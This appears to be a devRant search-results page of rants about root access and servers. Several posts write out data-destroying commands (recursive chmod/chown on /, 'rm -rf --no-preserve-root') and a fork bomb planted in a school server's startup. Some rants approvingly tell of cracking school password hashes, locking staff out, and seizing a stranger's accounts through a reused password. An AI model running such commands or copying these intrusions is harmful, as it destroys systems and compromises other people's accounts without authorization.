Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "root server"
-
My Friend: Dude our Linux Server is not working anymore!
Me: What? What did you do?
My friend: Nothing I swear!
Me: But you were last on it?
My friend: Yes. I just wanted to run a bash file and needed to give it permissions.
Me : WHAT DID YOU ENTER???!
My Friend: Chill man, just this command I found on the internet
chmod -R 600 /
chown -R root:root /
Me: WHY ARE YOU EVEN IN ROOT AND GOD DAMMIT WHY ARE YOU EVEN USING SOME RANDOM COMMAND FROM THE INTERNET. YOU KNOW YOU SHOULD NOT DO THIS OR JUST ASK!
My friend: Ok I did something wrong, how can I fix it?
Me: Did you make a backup or rsync of the server?
My friend: No. I just wanted to run this file.
Me: You holocausted the server. FUCK MY LIFE35 -
There was a problem with a server we were staging on, and I was providing DevOps help remote.
As a joke I said, "haha if you run `sudo rm -rf / --no-preserve-root` everything will be fixed!"
They ran it. RIP server-kun 2016-2018 💨34 -
So a friend of Mine asked me to check their Mail server because some emails got lost. Or had a funny signature.
Mails were sent from outlook so ok let's do this.
I go create a dummy account, and send/receive a few emails. All were coming in except one and some had a link appended. The link was randomly generated and was always some kind of referral.
Ok this this let's check the Mail Server.
Nothing.
Let's check the mail header. Nothing.
Face -> wall
Fml I want to cry.
Now I want to search for a pattern and write a script which sends a bunch of mails on my laptop.
Fuck this : no WLAN and no LAN Ports available. Fine let's hotspot the phone and send a few fucking mails.
Guess what? Fucking cockmagic, no funny mails appear!
At that moment I went out and was like chainsmoking 5 cigarettes.
BAM!
It hit me! A feeling like a unicorn vomiting rainbows all over my face.
I go check their firewall. Shit redirected all email ports from within the network to another server.
Yay nobody got credentials because nobody new it existed. Damn boy.
Hook on to the hostmachine power down the vm, start and hack yourself a root account before shit boots. Luckily I just forgot the credentials to a testvm some time ago so I know that shit. Lesson learned: fucking learn from your mistakes, might be useful sometimes!
Ok fucker what in the world are you doing.
Do some terminal magic and see that it listens on the email ports.
Holy cockriders of the galaxy.
Turns out their former it guy made a script which caught all mails from the server and injected all kind of bullshit and then sent them to real Webserver. And the reason why some mails weren't received was said guy was too dumb to implement Unicode and some mails just broke his script.
That fucker even implented an API to pull all those bullshit refs.
I know your name "Matthias" and I know where you live and what you've done... And to fuck you back for that misery I took your accounts and since you used the same fucking password for everything I took your mail, Facebook and steam account too.
Git gut shithead! You better get a lawyer15 -
"could I get admin privileges to reboot this server?"
Sounds valid enough, right?
OH YEAH SURE, YOU'RE A TINY USER ON A HUGE ASS SHARED SERVER, OF COURSE I'LL GIVE YOU ROOT ACCESS TO REBOOT THE WHOLE FUCKING SERVER.
Worst part, he didn't understand why that would be weird.
Can I buy a little common sense somewhere for this guy?27 -
Hacking/attack experiences...
I'm, for obvious reasons, only going to talk about the attacks I went through and the *legal* ones I did 😅 😜
Let's first get some things clear/funny facts:
I've been doing offensive security since I was 14-15. Defensive since the age of 16-17. I'm getting close to 23 now, for the record.
First system ever hacked (metasploit exploit): Windows XP.
(To be clear, at home through a pentesting environment, all legal)
Easiest system ever hacked: Windows XP yet again.
Time it took me to crack/hack into today's OS's (remote + local exploits, don't remember which ones I used by the way):
Windows: XP - five seconds (damn, those metasploit exploits are powerful)
Windows Vista: Few minutes.
Windows 7: Few minutes.
Windows 10: Few minutes.
OSX (in general): 1 Hour (finding a good exploit took some time, got to root level easily aftewards. No, I do not remember how/what exactly, it's years and years ago)
Linux (Ubuntu): A month approx. Ended up using a Java applet through Firefox when that was still a thing. Literally had to click it manually xD
Linux: (RHEL based systems): Still not exploited, SELinux is powerful, motherfucker.
Keep in mind that I had a great pentesting setup back then 😊. I don't have nor do that anymore since I love defensive security more nowadays and simply don't have the time anymore.
Dealing with attacks and getting hacked.
Keep in mind that I manage around 20 servers (including vps's and dedi's) so I get the usual amount of ssh brute force attacks (thanks for keeping me safe, CSF!) which is about 40-50K every hour. Those ip's automatically get blocked after three failed attempts within 5 minutes. No root login allowed + rsa key login with freaking strong passwords/passphrases.
linu.xxx/much-security.nl - All kinds of attacks, application attacks, brute force, DDoS sometimes but that is also mostly mitigated at provider level, to name a few. So, except for my own tests and a few ddos's on both those domains, nothing really threatening. (as in, nothing seems to have fucked anything up yet)
How did I discover that two of my servers were hacked through brute forcers while no brute force protection was in place yet? installed a barebones ubuntu server onto both. They only come with system-default applications. Tried installing Nginx next day, port 80 was already in use. I always run 'pidof apache2' to make sure it isn't running and thought I'd run that for fun while I knew I didn't install it and it didn't come with the distro. It was actually running. Checked the auth logs and saw succesful root logins - fuck me - reinstalled the servers and installed Fail2Ban. It bans any ip address which had three failed ssh logins within 5 minutes:
Enabled Fail2Ban -> checked iptables (iptables -L) literally two seconds later: 100+ banned ip addresses - holy fuck, no wonder I got hacked!
One other kind/type of attack I get regularly but if it doesn't get much worse, I'll deal with that :)
Dealing with different kinds of attacks:
Web app attacks: extensively testing everything for security vulns before releasing it into the open.
Network attacks: Nginx rate limiting/CSF rate limiting against SYN DDoS attacks for example.
System attacks: Anti brute force software (Fail2Ban or CSF), anti rootkit software, AppArmor or (which I prefer) SELinux which actually catches quite some web app attacks as well and REGULARLY UPDATING THE SERVERS/SOFTWARE.
So yah, hereby :P39 -
Funny story about the first time two of my servers got hacked. The fun part is how I noticed it.
So I purchased two new vps's for proxy server goals and thought like 'I can setup fail2ban tomorrow, I'll be fine.'
Next day I wanted to install NginX so I ran the command and it said that port 80 was already in use!
I was sitting there like no that's not possible I didn't install any server software yet. So I thought 'this can't be possible' but I ran 'pidof apache2' just to confirm. It actually returned a PID! It was a barebones Debian install so I was sure it was not installed yet by ME. Checked the auth logs and noticed that an IP address had done a huge brute force attack and managed to gain root access. Simply reinstalled debian and I put fail2ban on it RIGHT AWAY.
Checked about two seconds later if anyone tried to login again (iptables -L and keep in mind that fail2ban's default config needs six failed attempts within I think five minutes to ban an ip) and I already saw that around 8-10 addresses were banned.
Was pretty shaken up but damn I learned my lesson!8 -
Da Fuck!?!
Yesterday I found some abnormal activity on my server, someone was trying to brute force my ssh as root since two days! Started raging and installed fail2ban (which automatically bans an IP if it fails to log X times and eventually sends me an email). Woke up this morning to find that a fucking Chinese guy/malware spent the whole night trying to brute Force me!
Fucking cunt! Don't you have any better to do!!
My key is a 32 characters long encrypted key, with the ban he can try 3 passwords /2 hours, good luck brute forcing it you bitch!36 -
So, i tried to demonstrate my roommate how many people push their credentials to github by searching for "password remove" commits.
I decided to show him the file and noticed something interesting. A public IP, and mysql credentials.
I visit the IP and what do i see there, a directory listening with a python script, with injects the database into a webpage (???) and a log of all http requests. Lots of failed attacks aiming at the PHP CGI. Still wondering how they failed on a python server 🤔🤔🤔
Edit phpmyadmin to connect to the mysql database. Success.
Inserted a row telling him the his password is on github. Maybe i should also have told him how to actually remove it. 😅
Yes, root can login from %
This is how far i can get with my current abilities.
------------------------------
Scary how insecure this world is.4 -
[This makes me sound really bad at first, please read the whole thing]
Back when I first started freelancing I worked for a client who ran a game server hosting company. My job was to improve their system for updating game servers. This was one of my first clients and I didn't dare to question the fact that he was getting me to work on the production environment as they didn't have a development one setup. I came to regret that decision when out of no where during the first test, files just start deleting. I panicked as one would and tried to stop the webserver it was running on but oh no, he hasn't given me access to any of that. I thought well shit, I might as well see where I fucked up since it was midnight for him and I wasn't able to get a hold of him. I looked at every single line hundreds of times trying to see why it would have started deleting files. I found no cause. Exhausted, (This was 6am by this point) I pretty much passed out. I woke up around 5 hours later with my face on my keyboard (I know you've all done that) only to see a good 30 messages from the client screaming at me. It turns out that during that time every single client's game server had been deleted. Before responding and begging for forgiveness, I decided to take another crack at finding the root of the problem. It wasn't my fault. I had found the cause! It turns out a previous programmer had a script that would run "rm -rf" + (insert file name here) on the old server files, only he had fucked up the line and it would run "rm -rf /". I have never felt more relieved in my life. This script had been disabled by the original programmer but the client had set it to run again so that I could remake the system. Now, I was never told about this specific script as it was for a game they didn't host anymore.
I realise this is getting very long so I'll speed it up a bit.
He didn't want to take the blame and said I added the code and it was all my fault. He told me I could be on live chat support for 3 months at his company or pay $10,000. Out of all of this I had at least made sure to document what I was doing and backup every single file before I touched them which managed to save my ass when it came to him threatening legal action. I showed him my proof which resulted in him trying to guilt trip me to work for him for free as he had lost about 80% of his clients. By this point I had been abused constantly for 4 weeks by this son of a bitch. As I was underage he had said that if we went to court he'd take my parents house and make them live on the street. So how does one respond? A simple "Fuck off you cunt" and a block.
That was over 8 years ago and I haven't heard from him since.
If you've made it this far, congrats, you deserve a cookie!6 -
The first time I decided to hack around a bit:D
One of my teachers made a quiz software, which is only used by him(his lectures are about databases), and it is highly unsecure. When I heard that it is written in C# I decided to look in it's source code. The biggest problem I ran into: this program is only available on the computers in his classroom, and he monitors the computers display. However, I successfully put it into my pendrive without getting caught.
So when I got home, I just had to use a .NET decompiler(in this case: dotPeek) to get the fully functional source code. The basic function of the program was to download a quiz from his database server, and when it was finished, grade it client-side. Than, I realized how bad it was: It contains the number of questions, the number of correct and incorrect answers.
I've just made a modified .exe, which contained really little modification(like correctAnswers=maxQuestions, incorrectAnswers=0). Everything looks the same, you just have to click over it, and everytime it will return with 100%.
And the bonus: The program connects to the database as a user with root access, and without password. I was able to log in, download(dropping was available too, but didn't try) databases(with all the answers) and so on.
Never had to use it though, it was just a sort-of experience gaining.:)6 -
Doing the stuff we learned in math today in C on my phone in portrait mode on a root server in my ssh app with mobile data in my free time in school is just some next level shit6
-
"Hey, Root, someone screwed up and now all of our prod servers are running this useless query constantly. I know I already changed your priorities six times in the past three weeks, but: Go fix it! This is higher priority! We already took some guesses at how and supplied the necessary code changes in the ticket, so this shouldn't take you long. Remember, HIGH PRIORITY!"
1. I have no idea how to reproduce it.
2. They have no idea how to reproduce it.
3. The server log doesn't include queries.
4. The application log doesn't include queries.
5. The tooling intercepts and strips out some log entries the legendary devs considered useless. (Tangent: It also now requires a tool to read the logs because log entries are now long json blobs instead of plain text.)
6. The codebase uses different loggers like everywhere, uses a custom logger by default, and often overwrites that custom logger with the default logger some levels in. gg
7. The fixes shown in the ticket are pretty lame. (I've fixed these already, and added one they missed.)
8. I'm sick and tired and burned out and just can't bring myself to care. I'm only doing this so i don't get fired.
9. Why not have the person who screwed this up fix it? Did they quit? I mean, I wouldn't blame them.
Why must everything this company does be so infuriatingly complicated?11 -
Got my front end friend (also my irl best friend) to agree on me setting up a vm/vps on one of my dedi's with a sub domain so he can learn to work with servers.
He agreed on me leaving root access for myself in case he couldn't figure something out and I (a Linux server engineer myself) would have to help him out.
He seemed so excited, will set this up when I get home 😊6 -
One comment from @Fast-Nop made me remember something I had promised myself not to. Specifically the USB thing.
So there I was, Lieutenant Jr at a warship (not the one my previous rants refer to), my main duties as navigation officer, and secondary (and unofficial) tech support and all-around "computer guy".
Those of you who don't know what horrors this demonic brand pertains to, I envy you. But I digress. In the ship, we had Ethernet cabling and switches, but no DHCP, no server, not a thing. My proposition was shot down by the CO within 2 minutes. Yet, we had a curious "network". As my fellow... colleagues had invented, we had something akin to token ring, but instead of tokens, we had low-rank personnel running around with USB sticks, and as for "rings", well, anyone could snatch up a USB-carrier and load his data and instructions to the "token". What on earth could go wrong with that system?
What indeed.
We got 1 USB infected with a malware from a nearby ship - I still don't know how. Said malware did the following observable actions(yes, I did some malware analysis - As I said before, I am not paid enough):
- Move the contents on any writeable media to a folder with empty (or space) name on that medium. Windows didn't show that folder, so it became "invisible" - linux/mac showed it just fine
- It created a shortcut on the root folder of said medium, right to the malware. Executing the shortcut executed the malware and opened a new window with the "hidden" folder.
Childishly simple, right? If only you knew. If only you knew the horrors, the loss of faith in humanity (which is really bad when you have access to munitions, explosives and heavy weaponry).
People executed the malware ON PURPOSE. Some actually DISABLED their AV to "access their files". I ran amok for an entire WEEK to try to keep this contained. But... I underestimated the USB-token-ring-whatever protocol's speed and the strength of a user's stupidity. PCs that I cleaned got infected AGAIN within HOURS.
I had to address the CO to order total shutdown, USB and PC turnover to me. I spent the most fun weekend cleaning 20-30 PCs and 9 USBs. What fun!
What fun, morons. Now I'll have nightmares of those days again.9 -
Just had a fucking god-mode moment.
My dear @Divisionbyzero asked me to help out with DKIM on his Linux server.
Although I'd never done it before, with the help of a search engine and root access to the server, I managed to somehow figure out what was going wrong and fix it.
This is quite deeper than I ever went with debugging!
Also a big thanks to Linux for being open, otherwise I'd be fucking fucked right now.7 -
Worst thing you've seen another dev do? So many things. Here is one...
Lead web developer had in the root of their web application config.txt (ex. http://OurPublicSite/config.txt) that contained passwords because they felt the web.config was not secure enough. Any/all applications off of the root could access the file to retrieve their credentials (sql server logins, network share passwords, etc)
When I pointed out the security flaw, the developer accused me of 'hacking' the site.
I get called into the vice-president's office which he was 'deeply concerned' about my ethical behavior and if we needed to make any personnel adjustments (grown-up speak for "Do I need to fire you over this?")
Me:"I didn't hack anything. You can navigate directly to the text file using any browser."
Dev: "Directory browsing is denied on the root folder, so you hacked something to get there."
Me: "No, I knew the name of the file so I was able to access it just like any other file."
Dev: "That is only because you have admin permissions. Normal people wouldn't have access"
Me: "I could access it from my home computer"
Dev:"BECAUSE YOU HAVE ADMIN PERMISSIONS!"
Me: "On my personal laptop where I never had to login?"
VP: "What? You mean ...no....please tell me I heard that wrong."
Dev: "No..no...its secure....no one can access that file."
<click..click>
VP: "Hmmm...I can see the system administration password right here. This is unacceptable."
Dev: "Only because your an admin too."
VP: "I'll head home over lunch and try this out on my laptop...oh wait...I left it on...I can remote into it from here"
<click..click..click..click>
VP: "OMG...there it is. That account has access to everything."
<in an almost panic>
Dev: "Only because it's you...you are an admin...that's what I'm trying to say."
Me: "That is not how our public web site works."
VP: "Thank you, but Adam and I need to discuss the next course of action. You two may go."
<Adam is her boss>
Not even 5 minutes later a company wide email was sent from Adam..
"I would like to thank <Dev> for finding and fixing the security flaw that was exposed on our site. She did a great job in securing our customer data and a great asset to our team. If you see <Dev> in the hallway, be sure to give her a big thank you!"
The "fix"? She moved the text file from the root to the bin directory, where technically, the file was no longer publicly visible.
That 'pattern' was used heavily until she was promoted to upper management and the younger webdev bucks (and does) felt storing admin-level passwords was unethical and found more secure ways to authenticate.5 -
So today I got a call that an end user decided to try to be a developer. He built and ran a bulk edit script on his company's server.....
Without a scaled test....
As root....
From root....
Without backups....
How's this my problem again?
Oh right, it's not (yet)!5 -
The last year my school installed MagicBoards (whiteboard with beamer that responses to touch) in every class room and called itself "ready for the future of media". What they also got is A FUCKING LOW SPEC SERVER RUNNING DEBIAN 6 W/O ANY UPDATES SINCE 2010 WHICH IS DYING CONSTANTLY.
As I'm a nice person I asked the 65 y/o technician (who is also my physics teacher) whether I could help updating this piece of shit.
Teacher: "Naahh, we don't have root access to the server and also we'll get a new company maintaining our servers in two years. And even if we would have the root access, we can't give that to a student."
My head: "Two. Years. TWO YEARS?! ARE YOU FUCKING KIDDING ME YOU RETARDED PIECE OF SHIT?! YOU'RE TELLING ME YOU DON'T HAVE TO INSTALL UPDATES EVEN THOUGH YOU CREATE AN SSH USER FOR EVERY FUCKING STUDENT SO THEY CAN LOGIN USING THEIR BIRTH DATE?! DID YOU EVER HEAR ABOUT SECURITY VULNERABILITIES IN YOUR LITTLE MISERABLE LIFE OR SOUNDS 'CVE-2016-5195' LIKE RANDOM LETTERS AND NUMBERS TO YOU?! BECAUSE - FUNFACT - THERE ARE TEN STUDENTS WHO ARE IN THE SUDO GROUP IF YOU EVEN KNOW WHAT THAT IS!"
Me (because I want to keep my good grades): "Yes, that sounds alright."13 -
Now, instead of shouting, I can just type "fuck"
The Fuck is a magnificent app that corrects errors in previous console commands.
inspired by a @liamosaur tweet
https://twitter.com/liamosaur/...
Some gems:
➜ apt-get install vim
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
➜ fuck
sudo apt-get install vim [enter/↑/↓/ctrl+c]
[sudo] password for nvbn:
Reading package lists... Done
...
➜ git push
fatal: The current branch master has no upstream branch.
To push the current branch and set the remote as upstream, use
git push --set-upstream origin master
➜ fuck
git push --set-upstream origin master [enter/↑/↓/ctrl+c]
Counting objects: 9, done.
...
➜ puthon
No command 'puthon' found, did you mean:
Command 'python' from package 'python-minimal' (main)
Command 'python' from package 'python3' (main)
zsh: command not found: puthon
➜ fuck
python [enter/↑/↓/ctrl+c]
Python 3.4.2 (default, Oct 8 2014, 13:08:17)
...
➜ git brnch
git: 'brnch' is not a git command. See 'git --help'.
Did you mean this?
branch
➜ fuck
git branch [enter/↑/↓/ctrl+c]
* master
➜ lein rpl
'rpl' is not a task. See 'lein help'.
Did you mean this?
repl
➜ fuck
lein repl [enter/↑/↓/ctrl+c]
nREPL server started on port 54848 on host 127.0.0.1 - nrepl://127.0.0.1:54848
REPL-y 0.3.1
...
Get fuckked at
https://github.com/nvbn/thefuck10 -
The gift that keeps on giving... the Custom CMS Of Doom™
I've finally seen enough evidence why PHP has such a bad reputation to the point where even recruiters recommended me to remove my years of PHP experience from the CV.
The completely custom CMS written by company <redacted>'s CEO and his slaves features the following:
- Open for SQL injection attacks
- Remote shell command execution through URL query params
- Page-specific strings in most core PHP files
- Constructors containing hundreds of lines of code (mostly used to initialize the hundreds of properties
- Class methods containing more than 1000 lines of code
- Completely free of namespaces or package managers (uber elite programmers use only the root namespace)
- Random includes in any place imaginable
- Methods containing 1 line: the include of the file which contains the method body
- SQL queries in literally every source file
- The entrypoint script is in the webroot folder where all the code resides
- Access to sensitive folders is "restricted" by robots.txt 🤣🤣🤣🤣
- The CMS has its own crawler which runs by CRONjob and requests ALL HTML links (yes, full content, including videos!) to fill a database of keywords (I found out because the server traffic was >500 GB/month for this small website)
- Hundreds of config settings are literally defined by "define(...)"
- LESS is transpiled into CSS by PHP on requests
- .......
I could go on, but yes, I've seen it all now.12 -
It were around 1997~1998, I was on middle school. It was a technical course, so we had programing languages classes, IT etc.
The IT guy of our computer lab had been replaced and the new one had blocked completely the access on the computers. We had to make everything on floppy disks, because he didn't trusted us to use the local hard disk. Our class asked him to remove some of the restrictions, but he just ignored us. Nobody liked that guy. Not us, not the teachers, not the trainees at the lab.
Someday a friend and me arrived a little bit early at the school. We gone to the lab and another friend that was a trainee on the lab (that is registered here, on DevRant) allowed us to come inside. We had already memorized all the commands. We crawled in the dark lab to the server. Put a ms dos 5.3 boot disk with a program to open ntfs partitions and without turn on the computer monitor, we booted the server.
At that time, Windows stored all passwords in an encrypted file. We knew the exact path and copied the file into the floppy disk.
To avoid any problems with the floppy disk, we asked the director of the school to get out just to get a homework we theorically forgot at our friends house that was on the same block at school. We were not lying at all. He really lived there and he had the best computer of us.
The decrypt program stayed running for one week until it finds the password we did want: the root.
We came back to the lab at the class. Logged in with the root account. We just created another account with a generic name but the same privileges as root. First, we looked for any hidden backup at network and deleted. Second, we were lucky: all the computers of the school were on the same network. If you were the admin, you could connect anywhere. So we connected to a "finance" computer that was really the finances and we could get lists of all the students with debits, who had any discount etc. We copied it to us case we were discovered and had to use anything to bargain.
Now the fun part: we removed the privileges of all accounts that were higher than the trainee accounts. They had no access to hard disks anymore. They had just the students privileges now.
After that, we changed the root password. Neither we knew it. And last, but not least, we changed the students login, giving them trainee privileges.
We just deleted our account with root powers, logged in as student and pretended everything was normal.
End of class, we went home. Next day, the lab was closed. The entire school (that was school, mid school and college at the same place) was frozen. Classes were normal, but nothing more worked. Library, finances, labs, nothing. They had no access anymore.
We celebrated it as it were new years eve. One of our teachers came to us saying congratulations, as he knew it had been us. We answered with a "I don't know what are you talking about". He laughed and gone to his class.
We really have fun remembering this "adventure". :)
PS: the admin formatted all the servers to fix the mess. They had plenty of servers.4 -
It was fucking weird when our teacher in web programming class told to make a PHP page but he forgot to give us root access to Apache server and most importantly more than half of the class didn't know what the fuck a web server was and what is Apache.
Rest in peace college degree.1 -
It's enough. I have to quit my job.
December last year I've started working for a company doing finance. Since it was a serious-sounding field, I tought I'd be better off than with my previous employer. Which was kinda the family-agency where you can do pretty much anything you want without any real concequences, nor structures. I liked it, but the professionalism was missing.
Turns out, they do operate more professionally, but the intern mood and commitment is awful. They all pretty much bash on eachother. And the root cause of this and why it will stay like this is simply the Project Lead.
The plan was that I was positioned as glue between Design/UX and Backend to then make the best Frontend for the situation. Since that is somewhat new and has the most potential to get better. Beside, this is what the customer sees everyday.
After just two months, an retrospective and a hell lot of communication with co-workers, I've decided that there is no other way other than to leave.
I had a weekly productivity of 60h+ (work and private, sometimes up to 80h). I had no problems with that, I was happy to work, but since working in this company, my weekly productivity dropped to 25~30h. Not only can I not work for a whole proper work-week, this time still includes private projects. So in hindsight, I efficiently work less than 20h for my actual job.
The Product lead just wants feature on top of feature, our customers don't want to pay concepts, but also won't give us exact specifications on what they want.
Refactoring is forbidden since we get to many issues/bugs on a daily basis so we won't get time.
An re-design is forbidden because that would mean that all Screens have to be re-designed.
The product should be responsive, but none of the components feel finished on Desktop - don't talk about mobile, it doesn't exist.
The Designer next to me has to make 200+ Screens for Desktop and Mobile JUST so we can change the primary colors for an potential new customer, nothing more. Remember that we don't have responsiveness? Guess what, that should be purposely included on the Designs (and it looks awful).
I may hate PHP, but I can still work with it. But not here, this is worse then any ecommerce. I have to fix legacy backend code that has no test coverage. But I haven't touched php for 4 years, letalone wrote sql (I hate it). There should be no reason whatsoever to let me do this kind of work, as FRONTEND ARCHITECT.
After an (short) analysis of the Frontend, I conclude that it is required to be rewritten to 90%. There have been no performance checks for the Client/UI, therefor not only the components behave badly, but the whole system is slow as FUCK! Back in my days I wrote jQuery, but even that shit was faster than the architecuture of this React Multi-instance app. Nothing is shared, most of the AppState correlate to other instances.
The Backend. Oh boy. Not only do we use an shitty outated open-source project with tons of XSS possibillities as base, no we clone that shit and COPY OUR SOURCES ON TOP. But since these people also don't want to write SQL, they tought using Symfony as base on top of the base would be an good idea.
Generally speaking (and done right), this is true. but not then there will be no time and not properly checked. As I said I'm working on Legacy code. And the more I look into it, the more Bugs I find. Nothing too bad, but it's still a bad sign why the webservices are buggy in general. And therefor, the buggyness has to travel into the frontend.
And now the last goodies:
- Composer itself is commited to the repo (the fucking .phar!)
- Deployments never work and every release is done manually
- We commit an "_TRASH" folder
- There is an secret ongoing refactoring in the root of the Project called "_REFACTORING" (right, no branches)
- I cannot test locally, nor have just the Frontend locally connected to the Staging webservices
- I am required to upload my sources I write to an in-house server that get's shared with the other coworkers
- This is the only Linux server here and all of the permissions are fucked up
- We don't have versions, nor builds, we use the current Date as build number, but nothing simple to read, nonono. It's has to be an german Date, with only numbers and has always to end with "00"
- They take security "super serious" but disable the abillity to unlock your device with your fingerprint sensor ON PURPOSE
My brain hurts, maybe I'll post more on this shit fucking cuntfuck company. Sorry to be rude, but this triggers me sooo much!2 -
"we don't plan on fixing a huge security hole that allows for root on our one server that runs our million-dollar service"3
-
From my work -as an IT consultant in one of the big 4- I can now show you my masterpiece
INSIGHTS FROM THE DAILY LIFE OF A FUNCTIONAL ANALIST IN A BIG 4 -I'M NOT A FUNCTIONAL ANALYST BUT THAT'S WHAT THEY DO-
- 10:30, enter the office. By contract you should be there at 9:00 but nobody gives a shit
- First task of the day: prepare the power point for the client. DURATION: 15 minutes to actually make the powerpoint, 45 minutes to search all the possible synonyms of RESILIENCE BIG DATA AGILE INTELLIGENT AUTOMATION MACHINE LEARNING SHIT PISS CUM, 1 hour to actually present the document.
- 12:30: Sniff the powder left by the chalks on the blackboards. Duration: 30 minutes, that's a lot of chalk you need to snort.
13:00, LUNCH TIME. You get back to work not one minute sooner than 15.00
- 15:00, conference with the HR. You need to carefully analyze the quantity and quality of the farts emitted in the office for 2 hours at least
- 17:00 conference call, a project you were assigned to half a day ago has a server down.
The client sent two managers, three senior Java developers, the CEO, 5 employees -they know logs and mails from the last 5 months line by line-, 4 lawyers and a beheading teacher from ISIS.
On your side there are 3 external ucraininans for the maintenance, successors of the 3 (already dead) developers who put the process in place 4 years ago according to God knows which specifications. They don't understand a word of what is being said.
Then there's the assistant of the assistant of a manager from another project that has nothing to do with this one, a feces officer, a sys admin who is going to watch porn for the whole conference call and won't listen a word, two interns to make up a number and look like you're prepared. Current objective: survive. Duration: 2 hours and a half.
- 19:30, snort some more chalk for half an hour, preparing for the mail in which you explain the associate partner how because of the aforementioned conference call we're going to lose a maintenance contract worth 20 grands per month (and a law proceeding worth a number of dollars you can't even read) and you have no idea how could this happen
- 20:00, timesheet! Compile the weekly report, write what you did and how long did it take for each task. You are allowed to compile 8 hours per day, you worked at least 11 but nobody gives a shit. Duration: 30 minutes
- 20:30, update your consultant! Training course, "tasting cum and presenting its organoleptic properties to a client". Bearing with your job: none at all. Duration: 90 minutes, then there's half an hour of evaluating test where you'll copy the answers from a sheet given to you by a colleague who left 6 months ago.
- 22:30, CHANCE CARD! You have a new mail from the HR: you asked for a refund for a 3$ sandwich, but the receipt isn't there and they realized it with a 9 months delay. You need to find that wicked piece of paper. DURATION: 30 minutes. The receipt most likely doesn't even exist anymore and will be taken directly from your next salary.
- 23:00 you receive a message on Teams. It's the intern. It's very late but you're online and have to answer. There's an exception on a process which have been running for 6 years with no problems and nobody ever touches. The intern doesn't know what to do, but you wrote the specifications for the thing, 6 years ago, and everything MUST run tonight. You are not a technician and have no fucking clue about anyhing at all. 30 minutes to make sure it's something on our side and not on the client side, and in all that the intern is as useful as a confetto to wipe your ass. Once you're sure it's something on our side you need to search for the senior dev who received the maintenance of the project, call him and solve the problem.
It turns out a file in a shared folder nobody ever touches was unreachable 'cause one of your libraries left it open during the last run and Excel shown a warning modal while opening it; your project didn't like this last thing one bit. It takes 90 minutes to find the root of the problem, you solve it by rebooting one of your machines. It's 01:00.
You shower, watch yourself on the mirror and search for the line where your forehead ends and your hair starts. It got a little bit back from yesterday; the change can't be seen with the naked eye but you know it's there.
You cry yourself to sleep. Tomorrow is another day, but it's going to be exactly like today.8 -
2 weeks ago I was writing an `rm -rf --no-preserve-root /` oneliner as a joke - as an answer to a question "I have access to my competitor's server; what should I do?". I was crafting it so that it'd do as much damage to the business (not the server) as it could.
And I accidentally executed it on my work laptop. In the background (with an `&`).
It ran for a good 5-7 seconds on an i7-11850H with an SSD, until I issued a `kill %%`
Good thing it ran as a non-root user. Bad thing - I have no idea what it may have deleted nor whether it touched my /home.
I'm afraid to restart my laptop now :)
whoopsie :)9 -
So, I told my new newbies intern; "Please keep remind yourself, not accidently type 'rm -rf /' as root. You don't want to know what going to happen". He nod.
Next day, in the dev server, "Kernal Panic". Human, full of curiosity.6 -
Well, just remembered a fuck up one of my friends and me did. Back in the 9th grade, both of us took part of a computer course (just a normal lesson). He got me into programming. So after half a year we "hacked" into the school server. Tbh it was quite simple. The server did a backup each week in a specific folder. The problem was, the backup file had no proper rights set. Everyone had access to it. So we inspected it closely and found out that the passwords where saved there. So we made it our mission to get one of the teacher's passwords or even the root one, which had more privileges then the normal student accounts. After about 2 days we managed to crack one of them (using a hash table available for download). The passwords where saved without salting them, making it quite easy to get one. Now we were sitting there, having access to a teacher's account. So we logged in and tried to figure out what to do next. It looked like the administration fkud up with the rights too and all teachers had access to root by just using there normal pw. Well, the Grand final is coming. We put a script into the startup of the server (which restarted at 4:30 AM each Friday). The only line that was written in it was "./$0|./$0&"
We never got caught. And it was a heck of fun ^^8 -
So I looked at our dashboard and noticed a banner mentioning scheduled maintenance set for 7:00 AM. And I thought to myself, "I never released an update, and even if I had, the maintenance would be performed 15 minutes after the build finished, not at 7:00 AM." So I emailed my coworkers, asking if they had put up the banner, no, no. I started pulling my hair out trying to figure out what caused this banner to be created. Was there some old job that was just now running? I combed through the server logs, thousands of entries later, and I found the banner was installed by some user with the IP 172.18.0.1...which was the local machine. I went through all the users on the system, running atq to see if anyone had jobs scheduled. And there was one job scheduled, under the root user. At that moment, I legit thought to myself, "have we been hacked? How is that possible?" It's wasn't! Then I looked under /var/spool/atjobs to see what the job actually was. And then I saw it. My weekly updater cron job had installed updates and had scheduled a maintenance window to reboot the system. And I smiled, realizing that my code was now sentient.
-
One of our newly-joined junior sysadmin left a pre-production server SSH session open. Being the responsible senior (pun intended) to teach them the value of security of production (or near production, for that matter) systems, I typed in sudo rm --recursive --no-preserve-root --force / on the terminal session (I didn't hit the Enter / Return key) and left it there. The person took longer to return and the screen went to sleep. I went back to my desk and took a backup image of the machine just in case the unexpected happened.
On returning from wherever they had gone, the person hits enter / return to wake the system (they didn't even have a password-on-wake policy set up on the machine). The SSH session was stil there, the machine accepted the command and started working. This person didn't even look at the session and just navigated away elsewhere (probably to get back to work on the script they were working on).
Five minutes passes by, I get the first monitoring alert saying the server is not responding. I hoped that this person would be responsible enough to check the monitoring alerts since they had a SSH session on the machine.
Seven minutes : other dependent services on the machine start complaining that the instance is unreachable.
I assign the monitoring alert to the person of the day. They come running to me saying that they can't reach the instance but the instance is listed on the inventory list. I ask them to show me the specific terminal that ran the rm -rf command. They get the beautiful realization of the day. They freak the hell out to the point that they ask me, "Am I fired?". I reply, "You should probably ask your manager".
Lesson learnt the hard-way. I gave them a good understanding on what happened and explained the implications on what would have happened had this exact same scenario happened outside the office giving access to an outsider. I explained about why people in _our_ domain should care about security above all else.
There was a good 30+ minute downtime of the instance before I admitted that I had a backup and restored it (after the whole lecture). It wasn't critical since the environment was not user-facing and didn't have any critical data.
Since then we've been at this together - warning engineers when they leave their machines open and taking security lecture / sessions / workshops for new recruits (anyone who joins engineering).26 -
Pro tip: never set custom script stuff related to dns server forcing things in a root firewall app if you don't know what you're doing.
How would I know? There's a slight chance that I just went offline for a few days (mobile only) to figure this shit out 😅
All fixed now, though!21 -
